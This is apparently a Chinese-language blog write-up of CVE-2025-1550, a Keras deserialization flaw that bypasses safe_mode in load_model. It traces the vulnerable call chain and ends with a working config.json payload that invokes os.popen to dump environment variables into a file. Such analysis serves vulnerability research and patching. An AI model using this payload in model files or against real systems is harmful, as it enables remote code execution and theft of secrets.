demodel
Keras<3.9.0 远程代码执行漏洞(CVE-2025-1550)
擦查资料:
阿里云漏洞库
漏洞描述
Keras 是用于构建和训练深度学习模型的神经网络 API。
受影响版本中,由于 functional.py 中的 process_layer 方法反序列化前未检查对象是否属于合法的 Keras 层,导致 Model.load_model 函数使在 safe_mode=True 的情况下仍存在反序列化漏洞。
攻击者可构造包含恶意 config.json 文件的 .keras 文件,当被加载时触发恶意代码执行。
漏洞补丁:https://app.codecov.io/gh/keras-team/keras/pull/20751
正常走不到补丁的process_layer 方法(在functional_from_config中调用)
倒着找调用functional_from_config的方法:Model.from_config
serialization_lib._retrieve_class_or_fn方法中:
1 2 3 4 5 6 7 8 9 10
| try: mod = importlib.import_module(module) except ModuleNotFoundError: raise TypeError( f"Could not deserialize {obj_type} '{name}' because " f"its parent module {module} cannot be imported. " f"Full object config: {full_config}" ) obj = vars(mod).get(name, None) 后面会返回obj
|
控制module=keras.models,name=Model
之后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| saveing_api.load_model save_lib.load_model save_lib._load_model_from_fileobj save_lib._model_from_config serialization_lib.deserialize_keras_object cls = _retrieve_class_or_fn( class_name, registered_name, module, obj_type="class", full_config=config, custom_objects=custom_objects, ) cls就是Model 然后cls.from_config(inner_config)进入from_config调用functional_from_config: if "module" not in layer_data: # Legacy format deserialization (no "module" key) # used for H5 and SavedModel formats layer = saving_utils.model_from_config( layer_data, custom_objects=custom_objects ) else: layer = serialization_lib.deserialize_keras_object( layer_data, custom_objects=custom_objects ) created_layers[layer_name] = layer 构造让serialization_lib.deserialize_keras_object返回popen即可 然后构造让它能走到process_node(会调用layer,恰好layer与args都可控)
|

调用链:

config.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| { "class_name": "Model", "module": "keras.models", "config": { "name": "my_model", "layers": [{"name":"aaa", "class_name": "popen", "module": "os", "config":"whoami", "inbound_nodes": [ { "args": ["mkdir static;env>static/1.txt"], "kwargs": {} } ]}], "input_layers": "", "output_layers": "" } }
|
“input_layers”: “”,
“output_layers”: “”也是因为中途有判断,加进去的,缺少就8行了